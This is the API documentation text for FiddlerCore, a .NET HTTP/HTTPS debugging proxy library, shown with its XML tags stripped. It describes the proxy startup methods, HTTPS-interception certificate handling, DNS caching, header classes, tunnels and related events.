assembly + + + + Returns Help/About information. + + Display string describing the current Fiddler instance. + + + + Fiddler's core proxy object. + + + + + Fiddler Import/Export Transcoders + + + + + List of "leaked" temporary files to be deleted as Fiddler exits. + + + + + Checks if FiddlerCore is running. + + TRUE if FiddlerCore is started/listening; FALSE otherwise. + + + + Checks if FiddlerCore is running and registered as the System Proxy. + + TRUE if FiddlerCore IsStarted AND registered as the system proxy; FALSE otherwise. + + + + Recommended way to Start FiddlerCore listening on the specified port + + The port + The FiddlerCoreStartupFlags option you want to set; FiddlerCoreStartupFlags.Default is recommended + + + + Start the FiddlerCore engine; this overload is NOT RECOMMENDED + + + + + + + + Start the FiddlerCore engine; this overload is NOT RECOMMENDED + + Port to Listen on. + Boolean indicating if FiddlerCore should register as the system proxy. + Boolean indicating if FiddlerCore should decrypt secure traffic. If true, requires MakeCert.exe in the Application folder. + Boolean indicating if FiddlerCore should accept connections from remote computers. Note: You must ensure Firewall is configured to allow such connections to your program. + + + + Start a new proxy endpoint instance, listening on the specified port + + The port to listen on + TRUE if remote clients should be permitted to connect to this endpoint + A Hostname (e.g. EXAMPLE.com) if this endpoint should be treated as a HTTPS Server + A Proxy object, or null if unsuccessful + + + + Start a new proxy endpoint instance, listening on the specified port + + The port to listen on + TRUE if remote clients should be permitted to connect to this endpoint + A certificate to return when clients connect, or null + A Proxy object, or null if unsuccessful + + + + Shuts down the FiddlerCore proxy and disposes it. Note: If there's any traffic in progress while you're calling this method, + your background threads are likely to blow up with ObjectDisposedExceptions or NullReferenceExceptions. In many cases, you're + better off simply calling oProxy.Detach() and letting the garbage collector clean up when your program exits. + + + + + Notify a listener that a block of a response was read. + + The session for which the response is being read + byte buffer (not completely full) + bytes set. + FALSE if AbortReading was set + + + + Notify a listener that a block of a request was read. + + The session for which the response is being read + byte buffer (not completely full) + bytes set. + FALSE if AbortReading was set + + + + Export Sessions in the specified format + + Shortname of desired format + Sessions to export + Options to pass to the ISessionExport interface + Your callback event handler, or NULL to allow Fiddler to handle + TRUE if successful, FALSE if desired format doesn't exist or other error occurs + + + + Calls a Fiddler Session Importer and returns the list of loaded Sessions. + + String naming the Import format, e.g. HTTPArchive + Should sessions be added to WebSessions list? (Not meaningful for FiddlerCore) + Dictionary of Options to pass to the Transcoder + Your callback event handler, or NULL to allow Fiddler to handle + Loaded Session[], or null on Failure + + + + Reset the SessionID counter to 0. This method can lead to confusing UI, so call sparingly. + + + + + Report an exception to the user. + + The Exception + The Title of the dialog + + + + Report an exception to the user. + + The Exception + The Title of the dialog + The intro text to show. If null or empty, the default "Fiddler has encountered an unexpected... " message is shown. + + + + Show the user a message when an HTTP Error was encountered + + Session with error + Set to true to prevent pooling/reuse of client connection + The SessionFlag which should be set to log this violation + Set to true to prevent pooling/reuse of server connection + Information about the problem + + + + We really don't want this method to get inlined, because that would cause the Xceed DLLs to get loaded in the Main() function instead + of when _SetXceedLicenseKeys is called; that, in turn, would delay the SplashScreen. + + + + + Used to track errors with addons. + + + + + + + Record that a temporary file was created and handed to an external tool. We'll do our best to delete this file on exit. + + The filename of the file to be deleted + + + + Clean up any Temporary files that were created + + + + + Fiddler's logging system + + + + + Fiddler's Preferences collection. Learn more at http://fiddler.wikidot.com/prefs + + + + + This event fires each time FiddlerCore reads data from network for the server's response. Note that this data + is not formatted in any way, and must be parsed by the recipient. + + + + + This event fires each time FiddlerCore reads data from network for the client's request. Note that this data + is not formatted in any way, and must be parsed by the recipient. + + + + + This event fires when a client request is received by Fiddler + + + + + This event fires when a server response is received by Fiddler + + + + + This event fires when Request Headers are available + + + + + This event fires when Response Headers are available + + + + + This event fires when an error response is generated by Fiddler + + + + + This event fires when a session has been completed + + + + + Sync this event to be notified when FiddlerCore has attached as the system proxy.")] + + + + + Sync this event to be notified when FiddlerCore has detached as the system proxy. + + + + + EventArgs class for the OnNotification handler + + + + + The string message of the notification + + + + + Enumeration of possible responses specified by the ValidateServerCertificateEventArgs as modified by FiddlerApplication's OnValidateServerCertificate event + + + + + The certificate will be considered valid if CertificatePolicyErrors == SslPolicyErrors.None, otherwise the certificate will be invalid unless the user manually allows the certificate. + + + + + The certificate will be confirmed with the user even if CertificatePolicyErrors == SslPolicyErrors.None. + Note: FiddlerCore does not support user-prompting and will always treat this status as ForceInvalid. + + + + + Force the certificate to be considered Valid, regardless of the value of CertificatePolicyErrors. + + + + + Force the certificate to be considered Invalid, regardless of the value of CertificatePolicyErrors. + + + + + These EventArgs are passed to the FiddlerApplication.OnValidateServerCertificate event handler when a server-provided HTTPS certificate is evaluated + + + + + EventArgs for the ValidateServerCertificateEvent that allows host to override default certificate handling policy + + The session + The CN expected for this session + The certificate provided by the server + The certificate chain of that certificate + Errors from default validation + + + + The port to which this request was targeted + + + + + The SubjectCN (e.g. Hostname) that should be expected on this HTTPS connection, based on the request's Host property. + + + + + The Session for which a HTTPS certificate was received. + + + + + The server's certificate chain. + + + + + The SslPolicyErrors found during default certificate evaluation. + + + + + Set this property to override the certificate validity + + + + + The X509Certificate provided by the server to vouch for its authenticity + + + + + These EventArgs are constructed when FiddlerApplication.OnClearCache is called. + + + + + Constructs the Event Args + + Should Cache Files be cleared? + Should Cookies be cleared? + + + + True if the user wants cache files to be cleared + + + + + True if the user wants cookies to be cleared + + + + + When the FiddlerApplication.OnReadResponseBuffer event fires, the raw bytes are available via this object. + + + + + Set to TRUE to request that upload or download process be aborted as soon as convenient + + + + + Session for which this responseRead is occurring + + + + + Byte buffer returned from read. Note: Always of fixed size, check iCountOfBytes to see which bytes were set + + + + + Count of latest read from Socket. If less than 1, response was ended. + + + + + Cache of Hostname->Address mappings + + + + + Number of milliseconds that a DNS cache entry may be reused without validation. + + + + + Maximum number of A/AAAA records to cache for DNS entries. + Beware: Changing this number changes how many IP-failovers Fiddler will perform if fiddler.network.dns.fallback is set, + and increasing the number will consume more memory in the cache. + + + + + Clear the DNS Cache. Called by the NetworkChange event handler in the oProxy object + + + + + Remove all expired DNSCache entries; called by the Janitor + + + + + Show the contents of the DNS Resolver cache + + + + + + Gets first available IP Address from DNS. Throws if address not found! + + String containing the host + True to use Fiddler's DNS cache. + IPAddress of target, if found. + + + + Gets IP Addresses for host from DNS. Throws if address not found! + + String containing the host + True to use Fiddler's DNS cache. + The Timers object to which the DNS lookup time should be stored, or null + List of IPAddresses of target, if any found. + + + + Trim an address list, removing the duplicate entries, any IPv6-entries if IPv6 is disabled, + and entries beyond the COUNT_MAX_A_RECORDS limit. + + The list to filter + A filtered address list + + + + A DNSCacheEntry holds a cached resolution from the DNS + + + + + TickCount of this record's creation + + + + + IPAddresses for this hostname + + + + + Construct a new cache entry + + The address information to add to the cache + + + + This class is used to find and create certificates for use in HTTPS interception. + The default implementation (DefaultCertProvider object) uses the Windows Certificate store, + but if a plugin ICertificateProvider is provided, it is used instead. + + + + + Enables specification of a delegate certificate provider that generates certificates for HTTPS interception. + + + + + Ensures that the Certificate Generator is ready. + + + + + Load a delegate Certificate Provider + + The provider, or null + + + + Removes Fiddler-generated certificates from the Windows certificate store + + + + + Removes Fiddler-generated certificates from the Windows certificate store + + Indicates whether Root certificates should also be cleaned up + + + + Returns the Root certificate that Fiddler uses to generate per-site certificates used for HTTPS interception. + + Returns the root certificate, if present, or null if the root certificate does not exist. + + + + Find a certificate from the certificate store. + + A string of the form: "www.hostname.com" + A certificate or /null/ + + + + Store an override Certificate in the Certificate Maker to return later. + + The hostname for which this certificate should be returned. + The X509Certificate2 with attached Private Key + TRUE if the Certificate Provider succeeded. FALSE if Provider doesn't support overrides. THROWS if Certificate lacked Private Key. + + + + Store an override Certificate in the Certificate Maker to return later. + + The hostname for which this certificate should be returned. + The filename of the PFX file containing the certificate and private key + The password for the PFX file + + + + Determine if the self-signed root certificate exists + + True if the Root certificate returned from GetRootCertificate is non-null, False otherwise. + + + + Is Fiddler's root certificate in the Root store? + + TRUE if so + + + + Is Fiddler's root certificate in the Machine Root store? + + TRUE if so + + + + Create a self-signed certificate to use for HTTPS interception + + TRUE if successful + + + + Finds the Fiddler root certificate and prompts the user to add it to the TRUSTED store + + True if successful + + + + Dispose of the Certificate Provider, if any. + + + + + This class allows fast-lookup of a ProcessName from a ProcessID. + + + + + Static constructur which registers for cleanup + + + + + Prune the cache of expiring PIDs + + + + + Map a Process ID (PID) to a Process Name + + The PID + A Process Name (e.g. IEXPLORE.EXE) or String.Empty + + + + Structure mapping a Process ID (PID) to a ProcessName + + + + + The TickCount when this entry was created + + + + + The ProcessName (e.g. IEXPLORE.EXE) + + + + + Create a PID->ProcessName mapping + + The ProcessName (e.g. IEXPLORE.EXE) + + + + This class encodes and decodes JSON text http://www.json.org/ + JSON uses Arrays and Objects, similar to DotNet datatypes ArrayList and Hashtable. + All numbers are parsed to doubles. + + + + + Parses the JSON string into an object + + A JSON string. + An ArrayList, a Hashtable, a double, a string, null, true, or false + + + + + + + + + + + + Similar to ParseString, but exits at the first whitespace or non-identifier character + + + + + + + + Gets the character index of the end of the JavaScript number we're currently parsing. + Numbers are tricky because of exponential notation, etc. + + + + + + + + Returns TRUE if this character might be the valid start of a JavaScript variable identifier + + + TODO: See http://stackoverflow.com/questions/1661197/valid-characters-for-javascript-variable-names to see how + this method doesn't account for all valid variable names, just the most reasonable ones + The character to test + TRUE if the character may start a JavaScript identifier + + + + Returns TRUE if this character may validly appear within a JavaScript variable identifier. + TODO: See comment on isValidIdentifierStart() for details about how this is incomplete + + The character to test + TRUE if the character may appear within a JavaScript identifier + + + + Converts an IDictionary or IList object graph into a JSON string + + A Hashtable or ArrayList + A JSON encoded string, or null if object 'json' is not serializable + + + + Determines if a given object is numeric in any way + (can be integer, double, etc). C# has no pretty way to do this. + Some were playing with the ValueType class, but the code below works fine. + + + + + Wrapper around JSON Parse output; needed because JScript.NET does not support OUT Parameters + + + + + Index of the last error in the stream + + + + + Warnings found while parsing JSON + + + + + This token is a JavaScript Identifier that was not properly quoted as it should have been. + + + + + The WinHTTPAutoProxy class is used to handle upstream gateways when the client was configured to use WPAD or an Proxy AutoConfig (PAC) script. + + + + + Indication as to whether AutoProxy information is valid. 0=Unknown/Enabled; 1=Valid/Enabled; -1=Invalid/Disabled + + + + + Returns a string containing the currently selected autoproxy options + + + + + + Get WPAD-discovered URL for display purposes (e.g. Help> About); note that we don't actually use this when determining the gateway, + instead relying on the WinHTTPGetProxyForUrl function to do this work for us. + + A WPAD url, if found, or String.Empty + + + + Return gateway endpoint for requested Url. TODO: Add caching layer! TODO: Support multiple results? + + The URL for which the gateway should be determined + The Endpoint of the Gateway, or null + TRUE if WinHttpGetProxyForUrl succeeded + + + + Close the WinHTTP Session handle + + + + + Note: Be sure to use the same hSession to prevent redownload of the proxy script + + + + + Set to true to send Negotiate creds when challenged to download the script + + + + + The DisplayName for this Connection + + + + + Is this Connectoid expected to be pointed at Fiddler? + + + + + The proxy settings collected from this connection before Fiddler was attached. + + + + + The WinINET Connectoids class contains the RAS/WinINET "connectoids" seen inside IE's Tools > Internet Options > Connections. + This class exposes methods to retrieve and update the proxy information for each connectoid in the list. + + + TODO: The methods of the class are not thread-safe and probably should be. + TODO: Need to refactor visibility here. Right now, _oConnectoids is (internal) instead of (private) because the + Options dialog iterates the list. And about:connectoids wants access too. Eventually ought to wrap as a ReadOnlyCollection getter + + + + + Dictionary of all Connectoids, indexed by the Connectoid's Name + + + + + Expensive Call. Enumerates all Connectoids using the RAS APIs, then determines the proxy information + for each connectoid. + + + + + Return the configured default connectoid's proxy information. + + Either proxy information from "DefaultLAN" or the user-specified connectoid + + + + Called when direct Registry groveling determines that the Default LAN connection's proxy was changed but InternetQueryOption + hasn't yet noticed. + + + + + Enumerates all of the connectoids and determines if the bIsHooked field is incorrect. If so, correct the value + and return TRUE to indicate that work was done. + + The Proxy:Port string to look for (e.g. Config.FiddlerListenHostPort) + TRUE if any of the connectoids' Hook state was inaccurate. + + + + Updates all (or CONFIG.sHookConnectionNamed-specified) connectoids to point at the argument-provided proxy information. + + The proxy info to set into the Connectoid + TRUE if updating at least one connectoid was successful + + + + Restore original proxy settings for any connectoid we changed. + + FALSE if any connectoids failed to unhook + + + + Map a local port number to the originating process ID + + The local port number + The originating process ID + + + + Calls the GetExtendedTcpTable function to map a port to a process ID. + This function is (over) optimized for performance. + + Client port + AF_INET or AF_INET6 + PID, if found, or 0 + + + + Given a local port number, uses GetExtendedTcpTable to find the originating process ID. + First checks the IPv4 connections, then looks at IPv6 connections. + + Client applications' port + ProcessID, or 0 if not found + + + + Enumeration of possible queries that can be issued using GetExtendedTcpTable + http://msdn2.microsoft.com/en-us/library/aa366386.aspx + + + + + The ServerChatter object is responsible for transmitting the Request to the destination server and retrieving its Response. + + + + + Size of buffer passed to pipe.Receive when reading from the server + + + + + The pipeServer represents Fiddler's connection to the server. + + + + + The session to which this ServerChatter belongs + + + + + The inbound headers on this response + + + + + Indicates whether this request was sent to the Gateway. + Session should have SessionFlags.SentToGateway set. + + + + + Buffer holds this response's data as it is read from the pipe. + + + + + The total count of bytes read for this response. Typically equals m_responseData.Length unless log-drop-response-body flag is set and + Streaming mode is enabled, in which case it will be larger since the m_responseData is cleared after every read. + + + + + Pointer to first byte of Entity body (or to the start of the next set of headers in the case where there's a HTTP/1xx intermediate header) + Note: This gets reset to 0 if we're streaming and dropping the response body. + + + + + Optimization: tracks how far we've looked into the Request when determining iEntityBodyOffset + + + + + True if HTTP Response headers have been returned to the client. + + + + + Indicates how much of _responseData buffer has already been streamed to the client + + + + + Position in responseData of the start of the latest parsed chunk size information + + + + + Peek at the current response body and return it as an array + + The response body as an array, or byte[0] + + + + Create a new ServerChatter object. + + + + + + Create a ServerChatter object and initialize its headers from the specified string + + + + + + + Clear the current object and start over + + If TRUE, allocates a buffer (m_responseData) to read from a pipe. If FALSE, nulls m_responseData. + + + + Scans responseData stream for the \r\n\r\n (or variants) sequence + which indicates that the header block is complete. + + SIDE EFFECTS: + iBodySeekProgress is updated and maintained across calls to this function + iEntityBodyOffset is updated if the end of headers is found + + True, if responseData contains a full set of headers + + + + Parse the HTTP Response into Headers and Body. + + + + + + Attempts to get Headers from the stream. If a HTTP/100 Continue block is present, it is removed and ignored. + + + + + Deletes a single header block (at this point, always a HTTP/1xx header block) from the Response stream + and adjusts all header-reading state to start over from the top of the stream. If the fiddler.network.leakhttp1xx preference is TRUE, + then the 1xx message will have been leaked before calling this method. + + + + + Adjusts PipeServer's ReusePolicy if response headers require closure. Then calls _detachServerPipe() + + + + + Queues or End()s the ServerPipe, depending on its ReusePolicy + + + + + Determines whether a given PIPE is suitable for this session based on this session's target, PID, etc. + + The Client Process ID, if any + + + TRUE if the connection should be used, FALSE otherwise + + + + Connect to the Server or Gateway + Note that HTTPS Tunnels use a different code path. + + Note that this function is crazy complicated due to the intricacies of socket reuse. We want to avoid + redundant DNS lookups etc, and we need to be sensitive to the fact that the Gateway can change from request to request. + + TODO: Move this into the Pipe code and into the new PipePool. probably should be a static that returns a pipe? + + TRUE, if pipeServer was assigned a connection to the target server + + + + Performs a SOCKSv4A handshake on the socket + + + + + + + + + TODO: This entire function needs to go away. What we really want to do is generate a new Session that is a CONNECT tunnel and + pass it through the normal request processing pipeline. That allows us to automatically authenticate using the user's Windows + credentials. + + Sends a CONNECT to the specified socket acting as a gateway proxy and waits for a 200 OK response. This method is used when Fiddler needs + a HTTPS Connection through a proxy but the client didn't establish one (e.g. the Request Composer). Note: May THROW + + The Socket + The host to which the gateway should connect + The port to which the gateway should connect + The HTTPRequestHeaders from the original request + TRUE if a 200 OK was received, FALSE if something else was received, THROWS EXCEPTION on network errors + + + + Given an address list and port, attempts to create a socket to the first responding host in the list (retrying via DNS Failover if needed). + + IPEndpoints to attempt to reach + Session object to annotate with timings and errors + Connected Socket. Throws Exceptions on errors. + + + + Sends the HTTP Request to the upstream server or proxy. If the request is a CONNECT and there's no + gateway, this method ~only~ establishes the connection to the target, but does NOT send a request. + + True if connection and send succeeded, False otherwise + + + + Replaces body with an error message + + Error to send if client was remote + Error to send if cilent was local + + + + Loads a HTTP response from a file + + The name of the file from which a response should be loaded + False if the file wasn't found. Throws on other errors. + + + + Reads the response from the Server Pipe. + + + + + + Leak the current bytes of the response to client. We wait for the full header + set before starting to stream for a variety of impossible-to-change reasons. + + Returns TRUE if response bytes were leaked, false otherwise (e.g. write error) + + + + Get the MIME type (sans Character set or other attributes) from the HTTP Content-Type response header, or String.Empty if missing. + + + + + Peek at number of bytes downloaded thus far. + + + + + DEPRECATED: You should use the Timers object on the Session object instead. + The number of milliseconds between the start of sending the request to the server to the first byte of the server's response + + + + + DEPRECATED: You should use the Timers object on the Session object instead. + The number of milliseconds between the start of sending the request to the server to the last byte of the server's response. + + + + + Was this request forwarded to a gateway? + + + + + Was this request serviced from a reused server connection? + + + + + The HTTP headers of the server's response + + + + + Simple indexer into the Response Headers object + + + + + HTTP Response headers object + + + + + Base class for RequestHeaders and ResponseHeaders + + + + + Text encoding to be used when converting this header object to/from a byte array + + + + + HTTP version (e.g. HTTP/1.1) + + + + + Storage for individual HTTPHeaderItems in this header collection + + + + + Get byte count of this HTTP header instance. + + Byte Count + + + + Number of HTTP headers + + Number of HTTP headers + + + + Returns all instances of the named header + + Header name + List of instances of the named header + + + + Returns the count of instances of the named header + + Header name + Count of instances of the named header + + + + Enumerator for HTTPHeader storage collection + + Enumerator + + + + Adds a new header containing the specified name and value. + + Name of the header to add. + Value of the header. + Returns the newly-created HTTPHeaderItem. + + + + Determines if the Headers collection contains a header of the specified name, with any value. + + The name of the header to check. (case insensitive) + True, if the header exists. + + + + Returns the Value from a token in the header. Correctly handles double-quoted strings. Requires semicolon for delimiting tokens + + Name of the header + Name of the token + Value of the token if present; otherwise, null + + + + Determines if the Headers collection contains one or more headers of the specified name, and sHeaderValue is part of one of those Headers' value. + + The name of the header to check. (case insensitive) + The partial header value. (case insensitive) + True if the header is found and the value case-insensitively contains the parameter + + + + Determines if the Headers collection contains a header of the specified name, and sHeaderValue=Header's value. Similar to a case-insensitive version of: headers[sHeaderName]==sHeaderValue, although it checks all instances of the named header. + + The name of the header to check. (case insensitive) + The full header value. (case insensitive) + True if the header is found and the value case-insensitively matches the parameter + + + + Removes all headers from the header collection which have the specified name. + + The name of the header to remove. (case insensitive) + + + + Removes all headers from the header collection which have the specified names. + + Array of names of headers to remove. (case insensitive) + + + + Removes a HTTPHeader item from the collection + + The HTTPHeader item to be removed + + + + Removes all HTTPHeader items from the collection + + + + + Renames all headers in the header collection which have the specified name. + + The name of the header to rename. (case insensitive) + The new name for the header. + True if one or more replacements were made. + + + + Gets or sets the value of a header. In the case of Gets, the value of the first header of that name is returned. + If the header does not exist, returns null. + In the case of Sets, the value of the first header of that name is updated. + If the header does not exist, it is added. + + + + + Indexer property. Returns HTTPHeaderItem by index. Throws Exception if index out of bounds + + + + + Clone this HTTPResponseHeaders object and return the result cast to an Object + + The new response headers object, cast to an object + + + + Status code from HTTP Response. If setting, also set HTTPResponseStatus too! + + + + + Status text from HTTP Response (e.g. '200 OK'). + + + + + Constructor for HTTP Response headers object + + + + + Constructor for HTTP Response headers object + + Text encoding to be used for this set of Headers when converting to a byte array + + + + Returns a byte array representing the HTTP headers. + + TRUE if the response status line should be included + TRUE if there should be a trailing \r\n byte sequence included + Byte[] containing the headers + + + + Returns a string containing http headers + + TRUE if the response status line should be included + TRUE if there should be a trailing CRLF included + String containing http headers + + + + Returns a string containing the http headers + + + Returns a string containing http headers with a status line but no trailing CRLF + + + + + Parses a string and assigns the headers parsed to this object + + The header string + TRUE if the operation succeeded, false otherwise + + + + HTTP Request headers object + + + + + Clones the HTTP request headers + + The new HTTPRequestHeaders object, cast to an object + + + + The HTTP Method (e.g. GET, POST, etc) + + + + + Constructor for HTTP Request headers object + + + + + Constructor for HTTP Request headers object + + Text encoding to be used for this set of Headers when converting to a byte array + + + + Parses a string and assigns the headers parsed to this object + + The header string + TRUE if the operation succeeded, false otherwise + + + + Returns a byte array representing the HTTP headers. + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing \r\n byte sequence included + TRUE if the SCHEME and HOST should be included in the HTTP REQUEST LINE + The HTTP headers as a byte[] + + + + Returns a string representing the HTTP headers. + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing CRLF sequence included + TRUE if the SCHEME and HOST should be included in the HTTP REQUEST LINE (Automatically set to FALSE for CONNECT requests) + The HTTP headers as a string. + + + + Returns a string representing the HTTP headers, without the SCHEME+HOST in the HTTP REQUEST line + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing CRLF sequence included + The header string + + + + Returns a string representing the HTTP headers, without the SCHEME+HOST in the HTTP request line, and no trailing CRLF + + The header string + + + + The (lowercased) URI scheme for this request (https, http, or ftp) + + + + + Username:Password info for FTP URLs. (either null or "user:pass@") + + + + + Get or set the request path as a string + + + + + Get or set the request path as a byte array + + + + + Represents a single HTTP header + + + + + Clones a single HTTP header and returns the clone cast to an object + + HTTPHeader Name: Value pair, cast to an object + + + + The name of the HTTP header + + + + + The value of the HTTP header + + + + + Creates a new HTTP Header item + + Header name + Header value + + + + Return a string of the form "NAME: VALUE" + + "NAME: VALUE" Header string + + + + A SessionTimers object holds timing information about a single Session. + + + + + The time at which the client's HTTP connection to Fiddler was established + + + + + The time at which the request's first Send() to Fiddler completes + + + + + The time at which the request headers were received + + + + + The time at which the request to Fiddler completes (aka RequestLastWrite) + + + + + The time at which the server connection has been established + + + + + The time at which Fiddler begins sending the HTTP request to the server (FiddlerRequestFirstSend) + + + + + The time at which Fiddler has completed sending the HTTP request to the server (FiddlerRequestLastSend). + BUG: Should be named "FiddlerEndRequest". + NOTE: Value here is often misleading due to buffering inside WinSock's send() call. + + + + + The time at which Fiddler receives the first byte of the server's response (ServerResponseFirstRead) + + + + + The time at which Fiddler received the server's headers + + + + + The time at which Fiddler has completed receipt of the server's response (ServerResponseLastRead) + + + + + The time at which Fiddler has begun sending the Response to the client (ClientResponseFirstSend) + + + + + The time at which Fiddler has completed sending the Response to the client (ClientResponseLastSend) + + + + + The number of milliseconds spent determining which gateway should be used to handle this request + (Should be mutually exclusive to DNSTime!=0) + + + + + The number of milliseconds spent waiting for DNS + + + + + The number of milliseconds spent waiting for the server TCP/IP connection establishment + + + + + The number of milliseconds elapsed while performing the HTTPS handshake with the server + + + + + Override of ToString shows timer info in a fancy format + + Timing information as a string + + + + Override of ToString shows timer info in a fancy format + + TRUE if the result can contain linebreaks; false if comma-delimited format preferred + Timing information as a string + + + + Enables High-Resolution timers, which are bad for battery-life but good for the accuracy of timestamps. + See http://technet.microsoft.com/en-us/sysinternals/bb897568 for the ClockRes utility that shows current clock resolution. + NB: Exiting Fiddler reverts this to the default value. + + + + + Watch a registry key for changes to its values. + + The Registry Hive in which the key lives + The key, e.g. \Software\Microsoft\Fiddler2\ + The Event Handler to invoke when a change occurs. + A new RegistryWatcher object. + + + + Start monitoring. + + + + + Stops the monitoring thread. + + + + + Fires when the specified registry key has changed. + + + + + The GenericTunnel class represents a "blind tunnel" to shuffle bytes between a client and the server. + + + + + Is streaming started in the downstream direction? + + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + This "Factory" method creates a new HTTPS Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + Client Pipe + Server Pipe + + + + This function keeps the thread alive until it is signaled that the traffic is complete + + + + + Executes the HTTPS tunnel inside an All-it-can-eat exception handler. + Call from a background thread. + + + + + Executes the WebSocket tunnel on a background thread + + + + + Instructs the tunnel to take over the server pipe and begin streaming responses to the client + + + + + Close the HTTPS tunnel and signal the event to let the service thread die. + WARNING: This MUST not be allowed to throw any exceptions, because it will do so on threads that don't catch them, and this will kill the application. + + + + + Called when we have received data from the local client. + Incoming data will immediately be forwarded to the remote host. + + The result of the asynchronous operation. + + + Called when we have sent data to the local client.
When all the data has been sent, we will start receiving again from the remote host.
 + The result of the asynchronous operation. + + + Called when we have sent data to the remote host.
When all the data has been sent, we will start receiving again from the local client.
 + The result of the asynchronous operation. + + + Called when we have received data from the remote host.
Incoming data will immediately be forwarded to the local client.
 + The result of the asynchronous operation. + + + + Returns number of bytes sent from the Server to the Client + + + + + Returns number of bytes sent from the Client to the Server + + + + + Attribute used to specify the minimum version of Fiddler compatible with this extension assembly. + + + + + Attribute used to specify the minimum version of Fiddler compatible with this extension assembly. + + The minimal version string (e.g. "2.2.8.8") + + + + Getter for the required version string + + + + + Attribute allowing developer to specify that a class supports the specified Import/Export Format + + + + + Attribute allowing developer to specify that a class supports the specified Import/Export Format + + Shortname of the Format (e.g. WebText XML) + Description of the format + + + + Returns the Shortname for this format + + + + + Returns the Description of this format + + + + + This tuple maps a display string to a Import/Export type + + + + + Textual description of the Format + + + + + Class implementing the format + + + + + Create a new Transcoder Tuple + + Format description + Type implementing this format + + + + ISessionImport allows loading of Session data + + + + + Import Sessions from a data source + + Shortname of the format + Dictionary of options that the Importer class may use + Callback event on which progress is reported or the host may cancel + Array of Session objects imported from source + + + + ISessionExport allows saving of Session data + + + + + Export Sessions to a data store + + Shortname of the format + Array of Sessions being exported + Dictionary of options that the Exporter class may use + Callback event on which progress is reported or the host may cancel + TRUE if the export was successful + + + + EventArgs class for the ISessionImporter and ISessionExporter interface callbacks + + + + + Progress Callback + + Float indicating completion ratio, 0.0 to 1.0. Set to 0 if unknown. + Short string describing current operation, progress, etc + + + + Set to TRUE to request that Import/Export process be aborted as soon as convenient + + + + + The string message of the notification + + + + + The percentage completed + + + + + The core proxy object which accepts connections from clients and creates session objects from those connections + + + + + The RegistryWatcher is used to monitor changes in the WinINET Proxy registry keys + to detect premature detaches. + + + + + Hostname if this Proxy Endpoint is terminating HTTPS connections + + + + + Certificate if this Proxy Endpoint is terminating HTTPS connections + + + + + Per-connectoid information about each WinINET connectoid + + + + + The default WinINET proxy as determined upon Fiddler startup. + + + + + The WinHTTP AutoProxy object, created if we're using WPAD or a PAC Script as a gateway + + + + + Allow binding to a specific egress adapter: "fiddler.network.egress.ip" + + + + + Watcher for Notification of Preference changes + + + + + Server connections may be pooled for performance reasons. + + + + + The Socket Endpoint on which this proxy receives requests + + + + + Flag indicating that Fiddler is in the process of detaching... + + + + + List of hosts which should bypass the upstream gateway + + + + + Returns a string of information about this instance and the ServerPipe reuse pool + + A multiline string + + + + Change the outbound IP address used to send traffic + + + + + + Watch for relevent changes on the Preferences object + + + + + + + Called whenever Windows reports that the system's NetworkAddress has changed + + + + + + + Called by Windows whenever network availability goes up or down. + + + + + + + Directly inject a session into the Fiddler pipeline, returning a reference to it. + NOTE: This method will THROW any exceptions to its caller. + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + StringDictionary of Session Flags (or null) + The new session + + + + [DEPRECATED] Directly inject a session into the Fiddler pipeline. + NOTE: This method will THROW any exceptions to its caller. + + + HTTP Request Headers + HTTP Request body (or null) + StringDictionary of Session Flags (or null) + + + + [DEPRECATED] Directly inject a session into the Fiddler pipeline. + NOTE: This method will THROW any exceptions to its caller. + + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + StringDictionary of Session Flags (or null) + + + + [DEPRECATED]: This version does no validation of the request data, and doesn't set SessionFlags.RequestGeneratedByFiddler + Send a custom HTTP request to Fiddler's listening endpoint (127.0.0.1:8888 by default). + NOTE: This method will THROW any exceptions to its caller and blocks the current thread. + + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + + + + This function, when given a scheme host[:port], returns the gateway information of the proxy to forward requests to. + + URIScheme: use http,https, or ftp + Host for which to return gateway information + IPEndPoint of gateway to use, or NULL + + + + Accept the connection and pass it off to a handler thread + + + + + + Register as the system proxy for WinINET and set the Dynamic registry key for other FiddlerHook + + True if the proxy registration was successful + + + + If we get a notice that the proxy registry key has changed, wait 50ms and then check to see + if the key is pointed at us. If not, raise the alarm. + + + + + + + If we are suppsoed to be "attached", we re-verify the registry keys, and if they are corrupt, notify + our host of the discrepency. + + + + + This method sets up the connectoid list and updates gateway information. Called by the Attach() method, or + called on startup if Fiddler isn't configured to attach automatically. + + + + + Given an address list, walks the list until it's able to successfully make a connection. + Used for finding an available Gateway when we have a list to choose from + + A string, e.g. PROXY1:80 + The IP:Port of the first alive endpoint for the specified host/port + + + + Set internal fields pointing at upstream proxies. + + + + + Sets a registry key which indicates that Fiddler is in "Connected" mode. Used by the FiddlerHook Add-on + + TRUE if fiddler is Connected + + + + Detach the proxy by setting the registry keys and sending a Windows Message + + True if the proxy settings were successfully detached + + + + Detach the proxy by setting the registry keys and sending a Windows Message + + True if the proxy settings were successfully detached + + + + Write a .PAC file that user can point FireFox or some other non-WinINET browser to. This is a crutch + that simplifies using Fiddler with non-WinINET clients. + + + + + + Stop the proxy by closing the socket. + + + + + Start the proxy by binding to the local port and accepting connections + + Port to listen on + TRUE to allow remote connections + + + + + Dispose Fiddler's listening socket + + + + + Clear the pool of Server Pipes. May be called by extensions. + + + + + Assign HTTPS Certificate for this endpoint + + Certificate to return to clients who connect + + + + Sets the upstream gateway to match the specified ProxyInfo + + + + + + Generate or find a certificate for this endpoint + + Subject FQDN + TRUE if the certificate could be found/generated, false otherwise + + + + Return a simple string indicating what upstream proxy/gateway is in use. + + + + + + Show a message box indicating what upstream gateway/proxy is in use + + + + + The port on which this instance is listening + + + + + Returns true if Fiddler believes it is currently registered as the Local System proxy + + + + + This event handler fires when Fiddler detects that it is (unexpectedly) no longer the system's registered proxy + + + + + Somewhat similar to the Framework's "BackgroundWorker" class, the periodic worker performs a similar function on a periodic schedule. + + The PeriodicWorker class is used by Fiddler to perform "cleanup" style tasks on a timer. Put work in the queue, + and it will see that it's done at least as often as 